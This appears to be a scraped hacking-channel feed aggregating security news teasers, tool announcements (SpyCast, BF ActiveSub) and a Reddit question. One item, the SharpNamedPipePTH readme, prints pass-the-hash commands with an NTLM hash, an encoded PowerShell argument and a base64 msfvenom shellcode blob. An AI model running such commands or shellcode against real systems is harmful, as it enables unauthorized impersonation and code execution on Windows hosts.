1523436-703b921d-a314-46bf-a50d-c060e54298b9-1024x198.png CompatibilityTested on Kali Linux, Parrot OS – Any Debian based that uses apt package manager.
Trending: How to Exploit “improper error handling” in Web Applications DisclaimerThis tool is provided for educational and research purpose only. The author of this project are no way responsible for any misuse of this tool. We use it to test under NDA agreements with clients and their consents for Pentesting purposes and we never encourage to misuse or take responsibility for any damage caused!
Clone the repo from here: GitHub Link
Trending: Write up: Hacking is an art, and so is subdomain enumeration https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/ReconSpider-300x150.png Recon Tool: ReconSpiderSeptember 23, 2022
Reading Time: 3 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Social-Hunter-300x150.png OSINT Tool: Social HunterSeptember 22, 2022
Reading Time: 2 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/dnsReaper-300x150.png Offensive Security Tool: dnsReaperSeptember 16, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/fuxploider-300x150.png Offensive Security Tool: fuxploiderSeptember 9, 2022
Reading Time: 2 minutes https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post Recon Tool: BF ActiveSub first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Shodan Dorks - The God’s Eye
https://shahjerry33.medium.com/shodan-dorks-the-gods-eye-f224f9b3984f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Summary :Continue reading on Medium » (https://shahjerry33.medium.com/shodan-dorks-the-gods-eye-f224f9b3984f?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
What Lurks in the Shadows of Cloud Security?

Organizations looking to get ahead in cloud security have gone down the path of deploying CSPM tooling with good results. Still, there’s a clear picture that data security and security operations are next key areas of interest.

KitPloit - PenTest Tools!
SpyCast - A Crossplatform mDNS Enumeration Tool

https://blogger.googleusercontent.com/img/a/AVvXsEgHcpB_kwRzDtlpUcYBO1EUsw74pQsZhJ4nBBcCCxDbwgcin7Fp5fRW3F_Z1u-Ccy8qf0CEgUlX2hAeiKkd7tO3sUfeQxWL4HAcOTgdlylDZx-6OLsaxXrmwo2KzPAZmJ9XTCzYhyMvZGe299sM0KE85boqPjvaS2gasNVgLh98gGHI8qWp_V6CXKuehQ=w640-h414
SpyCast is a crossplatform mDNS enumeration tool that can work either in active mode by recursively querying services, or in passive mode by only listening to multicast packets.
Building

cargo build --release

OS specific bundle packages (for example dmg and app bundles on OSX) can be built via:

cargo tauri build

SpyCast can also be built without the default UI, in which case all output will be printed on the terminal:

cargo build --no-default-features --release

Running

Run SpyCast in active mode (it will recursively query all available mDNS services):

./target/release/spycast

Run in passive mode (it won't produce any mDNS traffic and only listen for multicast packets):

./target/release/spycast --passive

Other options

Run spycast --helpfor the complete list of options.

License

This project is made with ♥ by @evilsocket and it is released under the GPL3 license.
Download Spycast

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Shodan Dorks - The God’s Eye

https://cdn-images-1.medium.com/max/830/1*9hfVWtZq4ajl1MaJSJifag.jpeg
Summary :

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The DAO 해킹 사건(2016) 분석

https://cdn-images-1.medium.com/max/1033/1*T_-rRDiYFKFaFgyD8fWeAw.png
배경

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
LastPass Hacked — Why You Need the Best Malware Protection to Secure Your System

https://cdn-images-1.medium.com/max/1920/1*atSqxO-raVl6vZFr_2Z_PA.jpeg
One of the market’s most popular password manager tools, LastPass, was hacked in late August 2022. The information was relayed to all…

Continue reading on Cybersecurity Science »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
5 WAYS TO STOP CYBER ATTACKS

https://cdn-images-1.medium.com/max/2600/1*RXdvm1LcnAuF0YPZTt-V9A.jpeg
The number of internet users in India is projected to reach 900 million by 2025.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
SharpNamedPipePTH : Pass The Hash To A Named Pipe For Token Impersonation

SharpNamedPipePTH is a C# tool to use Pass-the-Hash for authentication on a local Named Pipe for user Impersonation. You need a local administrator or SEImpersonate rights to use this. There is a blog post for explanation:

https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/

It is heavily based on the code from the project Sharp-SMBExec.

I faced certain Offensive Security project situations in the past, where I already had the NTLM-Hash of a low privilegeduser account and needed a shell for that user on the current compromised system – but that was not possible with the current public tools. Imagine two more facts for a situation like that – the NTLM Hash could not be cracked and there is no process of the victim user to execute shellcode in it or to migrate into that process. This may sound like an absurd edge-case for some of you. I still experienced that multiple times. Not only in one engagement I spend a lot of time searching for the right tool/technique in that specific situation.

My personal goals for a tool/technique were:

* Fully featured shell or C2-connection as the victim user-account
* It must to able to also Impersonate low privilegedaccounts – depending on engagement goals it might be needed to access a system with a specific user such as the CEO, HR-accounts, SAP-administrators or others
* The tool can be used as C2-module

The impersonated user unfortunately has no network authentication allowed, as the new process is using an Impersonation Token which is restricted. So you can only use this technique for local actions with another user.

There are two ways to use SharpNamedPipePTH. Either you can execute a binary (with or without arguments):

SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi67FytWhNGCnP6sKzfxE8JxYLMLd7LICKIyQ3lSFzIABQvQftt1niD_H_QD1_-VpF8owrfFtkVIazQGYZ67W-smFrhukKNlCpE6rx6V7ZwkcPN0nZRPcrG84DsbpQZY3K5dYN3lw8js888TXYRBxyb_b9a6HqBBY1h2xsMd4f6f7MMOEwvnixarBUQ/s1019/Example1.jpeg
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"

Or you can execute shellcode as the other user:

SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=

Which is msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.

I’m not happy with the shellcode execution yet, as it’s currently spawning notepad as the impersonated user and injects shellcode into that new process via D/Invoke CreateRemoteThread Syscall. I’m still looking for possibility to spawn a process in the background or execute shellcode without having a process of the target user for memory allocation.
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm5LGl1vGD6MOm0KwObvdgCerIhQCUdgfQNUp3DNZtqCacWT3XoezCQfB2ReYt_JvOwk5Wt5UYqPUnSXvzJU3YGZgKXqeEtKAn9NkGd3U9F7dSknkuixruFD0yHyMqdaVTeRqxhw9pAfuFgvEvv3Mgz1mxEwH6e3GQYOxPyRm3NKIj2ZgZwz_MpPSn/s1049/Example2.jpeg

Download

___________________________
@hacking_Attack
@Hacking_Video

guys I was downloading ngrok in Linux and in the last step when I entered the command ./ngrok http 80 this is what it is showing. what to do?
https://www.reddit.com/r/Pentesting/comments/xr9iab/guys_i_was_downloading_ngrok_in_linux_and_in_the/

___________________________
@hacking_Attack
@Hacking_Video

submitted by /u/Round-Try3484 (https://www.reddit.com/user/Round-Try3484)
[link] (https://i.redd.it/xh19dsod7tq91.jpg) [comments] (https://www.reddit.com/r/Pentesting/comments/xr9iab/guys_i_was_downloading_ngrok_in_linux_and_in_the/)

___________________________
@hacking_Attack
@Hacking_Video

How to get an Internship In Cybersecurity/Ethical Hacking

A complete guide to getting an internship for cybersecurity studentContinue reading on InfoSec Write-ups »
Read more...